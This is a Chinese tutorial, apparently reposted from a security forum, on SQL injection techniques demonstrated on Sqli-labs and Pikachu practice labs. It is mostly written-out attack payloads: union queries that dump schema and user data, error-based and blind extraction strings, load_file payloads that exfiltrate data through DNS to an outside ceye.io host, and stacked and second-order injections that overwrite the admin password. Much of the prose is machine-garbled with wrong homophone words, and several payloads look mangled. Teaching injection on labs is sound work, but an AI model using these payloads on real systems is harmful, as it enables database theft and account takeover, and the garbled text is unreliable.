数字型:select from table where id =$id字符型:select from table where id='$id'
判断类型一样平常可以利用 and 型结合永真式和永假式,判断数字型:
1 and 1=1 #永真式 select from table where id=1 and 1=11 and 1=2 #永假式 select from table where id=1 and 1=2#若永假式运行缺点,则解释此SQL注入为数字型注入
判断字符型:

1' and '1'='11' and '1'='2#若永假式运行缺点,则解释此SQL注入为字符型注入
第二步-查字段个数
利用order by查询字段个数,上一步我们已经判断出了是字符型还是数字型,也便是说我们已经构建出了一个基本的框架(在初学 SQL 注入时 “框架” 的思想十分主要)
这里我们用 Sqli-labs 第一关来详细阐明一下框架思想,首先利用单引号进行测试,涌现 SQL 语句报错,则此关为字符型注入
之后引出了 SQL 注入的其余一个主要知识点,也便是注释的利用(可以确认有没有其他闭合字符),MySQL 供应了以下三种注释方法:
#:不建议直策应用,会被浏览器当做 URL 的书签,建议利用其 URL 编码形式%23--+:实质上是--空格,+会被浏览器阐明为空格,也可以利用 URL 编码形式``--%20//:多行注释,常被用作空格这里我们利用%23将 SQL 语句后面的单引号注释掉,也就形成了我们的框架,后面的所有内容都是在框架里进行的,只会对框架做微调
之后我们在框架中利用order by 数字来查询字段的个数,这里的关键是找到临界值,例如order by 4时候还在报错,但是order by 3时没有涌现报错,3 便是这里的临界值,解释这里存在 3 个字段
第三步-查找显示位
利用union select查找显示位,上一步我们已经知道了字段的详细个数,现在我们要判断这些字段的哪几个会在前端显示出来,这些显示出来的字段叫做显示位,我们利用union select 1,2,3.....(字段个数是多少个就写到几)来对位置的顺序进行判断(个中数字代表是几号显示位)
这里我们须要对框架做一下微调,也便是将 1 改为 -1,这里修正的目的是查询一个不存在的 id,使得第一句为空,显示第二句的结果,这里我们可以创造 1 号字段是在前端不显示的,2 号和 3 号字段在前端显示,所以是显示位
第四步-爆库名
利用database()函数爆出库名,database()函数紧张是返回当前(默认)数据库的名称,这里我们把它用在哪个显示位上都可以
第五步-爆表名
基于库名利用table_name爆出表名,先来先容一下利用到的函数和数据源:
group_concat()函数:使数据在一列中输出information_schema.tables数据源:存储了数据表的元数据信息,我们紧张利用此项数据源中的table_name和table_schema字段终极可以布局出 Payload 如下,可以获取到 emails,referers,uagents,users 四张表
http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
基于表名利用column_name爆出列名,此时数据源为information_schema.columns,位置在table_name='表名'(记得给表名加单引号)
终极布局 Payload 如下,可以获取到 id,email_id 两个字段
http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' %23
利用列名爆敏感信息,直接 from 表名即可,这里须要利用group_concat(concat_ws())实现数据的完全读取,group_concat()函数在前面几步就打仗过,紧张是使数据在一列中输出
这就带来了一个问题,如果直接把列放入group_concat()函数,列间的界线就不清晰了,concat_ws()便是为了区分列的界线所利用的,其语法如下:
concat_ws('字符',字段1,字段2,.....)
终极我们便可以布局出获取数据的 Payload:
http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('-',id,email_id)) from emails %23
报错注入的实质是利用一些指定的函数制造报错,从而从报错信息得到我们想要的内容,利用条件是后台没有屏蔽数据库的报错信息,且报错信息会返回到前端,报错注入一样平常在无法确定显示位的时候利用,我们先来理解一下报错注入的类型和会用到的函数
XPath 导致的报错updatexml()函数和extractvalue()函数都可以归类为是 XPath 格式禁绝确或缺失落导致报错的函数
updatexml() 函数updatexml()函数本身是改变 XML 文档中符合条件的值,其语法如下:
updatexml(XML_document,XPath_string,new_value)
语法中利用到以下三个参数
XML_document:XML 文档名称,利用 String 格式作为参数XPath_string:路径,XPath 格式,updatexml()函数如果这项参数缺点便会导致报错,我们紧张利用的也是这个参数new_value:更换后的值,利用 String 格式作为参数extractvalue() 函数extractvalue()函数本身用于在 XML 文档中查询指定字符,语法如下:
extractvalue(XML_document,xpath_string)
语法中利用到以下两个参数
XML_document:XML 文档名称,利用 String 格式作为参数XPath_string:路径,XPath 格式,extractvalue()函数也在这里产生报错主键重复导致的报错主键报错注入是由于rand(),count() ,floor()三个函数和一个group by语句联合利用造成的,缺一不可
rand() 函数rand()函数的根本语法是这样的,它的参数被叫做 seed(种子),当种子为空的时候,rand()函数会返回一个[0,1)范围内的随机数,当种子为一个数值时,则会返回一个可复现的随机数序列
rand(seed)
如果还不能理解种子的观点,我来说一个种子在其他领域的运用,我的天下这款游戏大家该当不陌生,在创建天下的时候,可以利用种子来指定固定的天下类型
例如-1834063422这个种子天生的天下一定是包含废弃村落落的天下
在 Mysql 中也是这样的,只要输入种子,一定返回一个可复现的随机数序列,这里还有一个小细节,种子是只取整数部分的,利用小数点后第一位进行四舍五入取整
利用Select rand(seed) FROM users;查询语句进行测试,验证一下上面的结论
至此,我们可以看出,seed()函数存在种子时,是伪随机的,这里的 “伪” 是有规律的意思,代表打算机产生的数字即是随机的也是有规律的
floor() 函数floor()函数的浸染便是返回小于即是括号内该值的最大整数,也便是取整,它这里的取整不是进行四舍五入,而是直接留下整数位,去掉小数位,如果是负数则整数位须要加一
count() 函数
count()是聚合函数的一种,是 SQL 的根本函数,除此以外,还有sum()、avg()、min()、max()等聚合函数,语法如下
select count(字段) from 表名; --得到该列值的非空值的行数select count() from 表名; --用于统计全体表的行数
group by 语句
group by语句的用法如下,它用于结合聚合函数,根据一个或多个列对结果集进行分组
group by 列名;
这里举个例子方便大家理解,创建一个名为users的表,表的构成如下图
我想知道在所有用户中,不同等级的各有多少人,我们便可以布局 SQL 语句如下
-- 选择 "level" 列和行数(由 COUNT() 打算)SELECT level, COUNT()-- 从 "users" 表中选择数据FROM users-- 按 "level" 列的值分组数据GROUP BY level;
终极查询出不同等级的用户分别有多少人
这里我们借这个例子深入一下它的事情事理,group by语句在实行时,会依次查出表中的记录并创建一个临时表(这个临时表是不可见的),group by的工具便是该临时表的主键(level),如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中这里我们逐步仿照临时表的流程,终极可以创造与我们利用 SQL 语句得出的结果同等
报错缘故原由剖析
floor()报错注入是利用下方这个相对固定的语句格式,导致的数据库报错
select count(),(floor(rand(0)2)) x from users group by x
我们先来剖析(floor(rand(0)2))在 SQL 语句中的含义,我们先来看它的内层rand(0)2,以 0 为种子利用send()函数天生随机数序列,并且将数列中的每一项结果乘以 2
再将乘以 2 后的结果放入floor()函数取整,末了得出伪随机数列如下,由于利用了固定的随机数种子0,他每次产生的随机数列的前六位都是相同的0 1 1 0 1 1的顺序
这时我们思考一个问题,基于上面group by语句的事情事理,我们可以知道,主键重复了就会使count()的值加 1,终极只是count()的值不同,那为什么说是主键重复导致的报错呢?
实在是这里有一个细节没有先容,当group by语句与rand()函数一起利用时,Mysql 会建立一张临时表,这张临时表有两个字段,一个是主键,一个是count(),此时临时表无任何值,Mysql 先打算group by后面的值,也便是floor()函数(它们之间因此x作为媒介通报的),如果此时临时表中没有该主键,则在插入前rand()函数会再打算一次
上面提到固定序列的第一个值为 0,Mysql 查询临时表,创造没有主键为 0 的记录,因此将此数据插入,这时由于临时表中没有该主键,Mysql 插入的过程中还司帐算一次group by后面的值,也便是floor()函数,但是此时floor()函数的结果为固定序列的第二个值,因此插入的主键为1,count()也为1
如果以上内容大家有点绕,可以大略理解为 Mysql 的动作有两步,第一步是判断是否存在,第二步是插入数据,每步都须要rand()函数打算一次,并终极通过floor()函数输出结果(这种情形只在主键不存在时发生)
紧接着 Mysql 会连续查询下一条数据,若创造重复的主键,则count()加 1,若没有找到主键,则添加新主键,此时遍历的是users表中的第二行,floor()函数的值是固天命列的第三项为 1,主键重复,count()加 1
此时我们来到了报错的关键点,此时遍历users表中的第三行,floor()函数的值是固天命列的第四项为 0,此时不存在该主键,则须要进行刚才的两步走,做判断用的是固天命列的第四项为 0,插入时运用到固天命列的第五项为 1,此时 1 被当做一个新的主键插入到临时表中,则产生了主键重复缺点
Payload 优化
由上面的事理可见,利用floor(rand(0)2)产生报错须要数据表里至少存在 3 条记录,我们可以再极限一点,利用floor(rand(14)2),即可在存在 2 条记录的时候利用了
其事理如下,在第二条第二步时再次利用 0 当做主键插入导致主键重复报错
数据溢出导致的报错exp() 函数
MySQL 中的exp()函数用于将 e 提升为指天命字 x 的幂,也便是 $e^{x}$
exp(x)
例如exp(2)便是 $e^{2}$
我们可用利用 Mysql Double 数值范围有限的特性布局报错,一旦结果超过范围,exp()函数就会报错,这个分界点便是 709,当exp()函数中的数字超过 709 时就会产生报错
当 MySQL 版今年夜于 5.5.53 时,exp()函数报错无法返回查询结果,只会得到一个报错,以是在真实环境中利用它做注入局限性还是比较大的,但是可以用判断是否存在 SQL 注入
pow() 函数MySQL 中的pow()函数用于将 x(基数) 提升为 y(指数) 的幂,也便是 $x^{y}$,语法如下
pow(x,y)
报错事理和exp()函数一样,超出了 Mysql Double 数值的范围,导致报错
空间数据类型导致的缺点
这类报错由于 Mysql 版本限定导致用的比较少,这里列出来,大家有兴趣的话可以做一下深入研究,大略来说,这类函数报错的缘故原由是函数对参数哀求是形如(1 2,3 3,2 2 1)这样几何数据,如果不知足哀求,则会报错,可以产生报错的函数如下:
geometrycollection()multiponint()polygon()multipolygon()linestring()multilinestring()
无显注入(盲注)
无显注入适用于无法直接从页面上看到注入语句的实行结果,乃至连注入语句是否实行都无从得知的情形,这种情形我们就要利用一些特性和函数自己创造判断条件
基于布尔的盲注在先容布尔盲注的事理前,先来理解一下它用到的函数
常用函数left()函数:从左边截取指定长度的字符串left(指定字符串,截取长度)length()函数:获取指定字符串的长度length(指定字符串)substr()函数和mid()函数:截取字符串,可以指定起始位置(从 1 开始打算)和长度substr(字符串,起始位置,截取长度) mid(字符串,起始位置,截取长度)ascii()函数:将指定字符串进行 ascii 编码ascii(指定字符串)布尔盲注事理布尔(Boolean)是一种数据类型,常日是真和假两个值,进行布尔盲注入时我们实际上利用的是抽象的布尔观点,即通过页面返回正常(真)与不正常(假)判断,这里我们用 Sqli-labs 第八关帮助大家理解它先添加参数?id=1
先用单引号判断类型,创造添加单引号后并没有报错,但是 You are in... 消逝了,这里也就为我们判断创造了条件,后面我们就须要不雅观察 You are in... 是否涌现,找不同情形
这里我们再添加一个单引号,创造 You are in... 涌现,则本关为字符型注入,利用单引号包裹
由于这里只会回显真或假,无法直接拿到数据库的名字,但是我们可以降落一点条件,可以先判断出数据库名的长度(最长为 30),这里可以先给一个范围,不雅观察一下回显(二分法)
//先预测数据库名是否比5长,创造为真1' and length(database())>5--+//再判断数据库是否比10长,创造为假1' and length(database())>10--+//此时数据库大于5小于即是10,依次考试测验可以创造长度为81' and length(database())=8--+
拿到长度后,我们利用substr()函数或mid()函数一位一位的预测数据库字符,Mysql 库名一共可以利用 63 个字符,分别是:a-z、A-Z、0-9、_
这里我们先来判断第一位是什么字符,这里我们利用 Burp Suite Intruder 模块快速进行,将字符标记为 Payload 设置字典为 a-z、A-Z、0-9、_,创造 s 和 S 回显长度与其他字符不同,解释这里第一位是 s ,这里大小写都有是由于 Mysql在 Windows 下对大小写不敏感
MySQL 在 Windows 下不区分大小写,但在 Linux 下默认是区分大小写,由lower_case_file_system和lower_case_table_names两个参数掌握
这里还可以进阶一下,利用集束炸弹模式,将字符位置设置为 Payload 1,字符内容设置为 Payload 2,实现一次爆破出所有字符
我们对一到八位依次判断后可以创造库名为 security,这里还可以用ascii()函数和substr()函数嵌套或利用left()函数实现,但都没有直接用substr()函数 + Intruder 模块方便,这里就不再赘述之后我们利用count()函数来判断表的个数,这里依然可以利用 Intruder 模块,判断出有四个表
个数清晰后再来判断每个表名的长度,这里利用了limit方法,语法如下
limit N,M //从第 N 条记录开始, 返回 M 条记录
这里依次判断表的长度:
第一个表长度为6?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+第二个表长度为8?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+第三个表长度为7?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7 --+第四个表长度为5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --+
知道每个表的长度后,我们再利用和库名一样的办法猜解表名
例如第一个表名称为 emails
知道表(第四个表,长度为五,是 users)的信息后,我们再来猜列的个数,这里可以看到有三个列
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
再来判断每个列的长度
第一个列长度为2?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+第二个列长度为8?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+第三个列长度为8?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1))=8 --+
再用同样的方法猜解列的名字,这里以第二个列为例,列名为 username
下面还是如法炮制,判断列中有多少数据,我们可以利用count()
?id=1' and (select count() from users)=13 --+
之后再来判断每条数据的长度
第一个数据长度为4?id=1' and length((select username from users limit 0,1))=4 --+第二个数据长度为8?id=1' and length((select username from users limit 1,1))=8 --+第三个数据长度为5?id=1' and length((select username from users limit 2,1))=5 --+...第十三个数据长度为6?id=1' and length((select username from users limit 12,1))=6 --+
再用同样的方法猜解数据的内容,这里以第一个数据为例,数据内容为 dumb
至此布尔盲注的事理变得清晰,我们可以用一张导图来总结
基于韶光的盲注
韶光盲注可以用在比布尔盲注过滤还要严格的环境中,当页面连真和假这个判断条件都不供应时,我们便可以让我们自己创造韶光这一条件,当语句被实行时,便会产生延迟,反之则不会,我们先来看一下韶光盲注的常用函数
常用函数sleep()函数:将程序实行的结果延迟返回 n 秒sleep(n)if()函数:参数1为条件,当参数 1 返回的结果为 true 时,实行参数 2,否则实行参数 3,有点像 Java 里的三元运算符if(参数1,参数2,参数3)延时盲注事理延时盲注的实实际质上便是if()函数嵌套sleep()函数的综合利用,将sleep()函数作为if()函数的第二个参数,也便是当参数一被成功实行时(结果为 true)对返回结果实行延时,反之则实行参数三的直接回显
这里我们用 Sqli-labs 第九关帮助大家理解它,先考试测验进行闭合,可以创造无论利用什么符号都是显示一样的内容,再利用sleep()函数进行赞助判断,可以创造当知足闭合条件时,页面会延迟回显
?id=1' and sleep(5) --+ //知足闭合条件,页面延迟回显?id=1' and sleep(5) //不知足闭合条件,页面直接回显
我们可以利用浏览器的【网络】功能进行更直不雅观的判断,当我们不知足闭合条件时,延迟为 108 毫秒
当知足闭合条件时,可以看到延迟增加了五秒
先获取一下库长度,当长度为 8 时,会延迟 5 秒实行,以是可以确定库长度为 8
?id=1' and if(length(database())=8,sleep(5),1)--+
下面再来判断库名,为了方便不雅观察将延时时间调为 15 秒,这步如果手工测试效率会非常低,我们依然是利用 Intruder 模块
?id=1' and if(substr(database(),1,1)='a',sleep(15),1)--+
这里爆破后我们点击最上方的列(Columns)功能,增加一个相应完成韶光的维度,韶光长的便是精确的字符,表名、字段名、数据内容猜解事理与表名相同,这里就不再赘述
基于 DNSLOG 的注入
DNSLOG 是存储在 DNS 做事器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。像是 SQL 盲注、命令实行、SSRF 及 XSS 等攻击但无法看到回显结果时,就会用到 DNSLOG 技能,比较布尔盲注和韶光盲注,DNSLOG 减少了发送的要求数,可以直接回显,也就降落了被安全设备拦截的可能性
DNSLOG 注入优点浩瀚,但利用条件也较为严苛
只支持 Windows 系统的做事端,由于要利用 UNC 路径这一特性,Linux 不具备此特性Mysql 支持利用load_file()函数读取任意盘的文件 ### UNC 路径UNC 全称 Universal Naming Convention,译为通用命名规范,例如我们在利用虚拟机的共享文件功能时,便会利用到 UNC 这一特性
UNC 路径的格式如下:
\\192.168.0.1\test\
这里我们利用运行利用 UNC 路径访问www.dnslog.cn,并利用 wireshark 抓包,可以看到确实存在对www.dnslog.cn这个域名进行 DNS 要求的流量,但是并不会在浏览器直接打开网站
load_file() 函数
上文我们提到,load_file()函数可以读取任意盘的文件才可以利用 DNSLOG 注入,它的读取范围由 Mysql 配置文件my.ini中的secure_file_priv参数决定
当secure_file_priv为空,就可以读取磁盘的目录当secure_file_priv为G:\,就可以读取G盘的文件当secure_file_priv为 null,load_file()函数就不能加载文件(null 和空是两种情形) ### DNSLOG 盲注事理先给出最常用的两种 Payload
Payload 1:and if((select load_file(concat('//',(select 攻击语句),'.xxxx.ceye.io/sql_test'))),1,0)Payload 2:and if((select load_file(concat('\\\\',(select 攻击语句),'.xxxx.ceye.io\\sql_test'))),1,0)
Payload 1,2 大体的思路都是一样的,也便是在if()函数中嵌套load_file()函数再利用 UNC 路径进行读取,sql_test这里写什么都可以,只是为了符合load_file()函数格式,读取时会产生 DNS 访问信息,唯一的不同点在于 Payload 2 在 URL 中利用\(反斜杠)时要双写合营转义
转义:转义是一种引用单个字符的方法. 一个前面放上转义符 ()的字符便是见告 shell 这个字符按照字面的意思进行阐明
这里利用 Pikachu 靶场的韶光盲注关卡进行演示,方便大家进行理解,在测试前一定先要确保secure_file_priv选项为空,可以利用show variables like '%secure%';进行查询
在修正my.ini文件时须要把稳secure_file_priv选项是新增的,本身并没有这个选项
通过判断可以创造是单引号闭合,先爆出库名,可以通过 DNSLOG 平台看到库名为 pikachu
这里还可以利用hex()函数,将回显内容编码为十六进制,这样做的好处是,假设回显内容存在分外字符!@#$%^&,包含分外字符的域名无法被解析,DNSLOG也就无法记录信息,进行编码后就不存在这个问题
后面整体的思路和联合查询基本同等,只是利用 DNSLOG 创造了回显的条件,这里不再赘述
堆叠注入堆叠注入的基本事理是在一条 SQL 语句结束后(常日利用分号;标记结束),连续布局并实行下一条SQL语句,这种注入方法可以实行任意类型的语句,包括查询、插入、更新和删除等等
与联合注入比较,堆叠注入最明显的差别便是它的权限更大了,例如利用联合注入时,后端利用的是 select 语句,那么我们注入时也只能实行 select 操作,而堆叠查询是一条新的 SQL 语句,不受上一句的语法限定,操作的权限也就更大了
但相应的,堆叠注入的利用条件变得更加严格,例如在 Mysql 中,须要利用mysqli_multi_query()函数才可以进行多条 SQL 语句同时实行,同时还须要网站对堆叠注入无过滤,因此在实战中堆叠注入还是较为少见的
下面我们用 Sqli-labs 第 38 关进行一下演示方便大家理解,先利用联合注入判断出列名有 id、username、password 三项,然后我们利用堆叠注入修正 admin 的密码(原密码为 admin),利用 update 方法布局 Payload 如下
?id=1';update users set password='test123456' where username='admin';--+
再次查看数据库创造 admin 密码已被改为 test123456
宽字节注入什么是宽/窄字节
当某字符的大小为一个字节时,称其字符为窄字节,当某字符的大小为两个或更多字节时,称其字符为宽字节,而且不同的字符编码办法和字符集对字符的大小有不同的影响
例如,在 ASCII 码中,一个英笔墨母(不分大小写)为一个字节,一个中文汉字为两个字节;在 UTF-8 编码中,一个英笔墨为一个字节,一个中文为三个字节;在 Unicode 编码中,一个英文为一个字节,一个中文为两个字节
敏感函数 & 选项addslashes()函数:返回在预定义字符之前添加反斜杠的字符串magic_quotes_gpc选项:对 POST、GET、Cookie 传入的数据进行转义处理,在输入数据的分外字符如 单引号、双引号、反斜线、NULL等字符前加入转义字符\,在高版本 PHP 中(>=5.4.0)已经弃用mysql_real_escape_string()函数:函数转义 SQL 语句中利用的字符串中的分外字符mysql_escape_string()函数:和mysql_real_escape_string()函数基本同等,差别在于不接管连接参数,也不管当前字符集设定 宽字节注入事理宽字节注入的实质是开拓者设置数据库编码与 PHP 编码为不同的编码格式从而导致产生宽字节注入,例如当 Mysql 数据库利用 GBK 编码时,它会把两个字节的字符解析为一个汉字,而不是两个英笔墨符,这样,如果我们输入一些分外的字符,就会形成 SQL 注入
为了防止 SQL 注入,常日会利用一些 PHP 函数,如addslashes()函数,来对分外字符进行转义(我们之前说过,转义便是在字符前加一个\),反斜杠用 URL 编码表示是%5c,以是如果我们输入单引号’,它会变成%5c%27,这样我们就无法闭合 SQL 语句了
但是,如果我们输入%df’,它会变成%df%5c%27,这里,%df%5c是一个宽字节的GBK编码,它表示一个繁体字“運”
由于 GBK 编码的第一个字节的范围是 129-254,而%df的十进制是 223,以是它属于 GBK 编码的第一个字节,而%5c的十进制是 92,它属于 GBK 编码的第二个字节的范围 64-254,以是,%df%5c被数据库解析为一个汉字,而不是两个英笔墨符这里我们用 Sqli-Labs 第 32 关进行演示方便大家理解,标题为 Bypass addslashes(),也便是说利用了addslashes()函数,先利用单引号判断闭合,创造单引号被转义
这里我们白盒审计创造编码类型为 GBK
mysql_query("SET NAMES gbk");$sql="SELECT FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
固采取宽字节绕过,布局 Payload 如下
这里后面再加一个单引号也无法闭合,由于会再次触发转义机制,这里直接注释掉后面的内容即可,至此框架已经形成,后面基本思想与联合注入同等,这里就不再赘述
二次注入
二次注入和上述的注入办法比较技能含量没有这么高,紧张是在于对付注入点的利用,须要利用两个及以上的注入点进行攻击
二次注入事理这里假设有 A 和 B 两个注入点,A 注入点由于存在过滤处理以是无法直接进行注入,但是会将我们输入的数据以原来的形式储存在数据库中(存入数据库时被还原了),在此情形下,我们找到注入点 B,使得后端调用存储在数据库中的恶意数据并实行 SQL 查询,完成二次注入
这也就引出了二次注入的两个步骤
插入恶意数据:布局恶意语句并进行数据库插入数据时,虽对个中分外字符进行了转义处理,但在写入数据库时仍保留了原来的数据调用恶意数据:开拓者默认存入数据库的数据都是安全的,在进行调用时,直策应用恶意数据,没有进行二次校验这里我们用 Sqli-Labs 第 24 关进行演示方便大家理解,打开靶场可以看到是一个登录/注书页面
这里我们先对注书页面进行白盒审计,创造利用mysql_escape_string()函数进行转义
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);
我们先来注册一个 test 账号看一下业务逻辑,创造登入后台后可以修正密码,再来白盒看一下修正密码的 SQL 语句
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
固我们可以在用户名处布局 Payload 为test'#,提前闭合 username 参数,便有了覆盖其他账户密码的可能性,$curr_pass变量是原密码,以是这里被注释不影响密码的修正,反而去除了原密码的校验
UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass'
这里我们考试测验修正 admin 的密码,改为 abc123,先注册 admin'#,再利用修正密码功能修正它的密码,由于此时 SQL 语句被提前闭合,以是实际上修正的是 admin 的密码
原文链接:https://forum.butian.net/share/2768
觉得385大佬的分享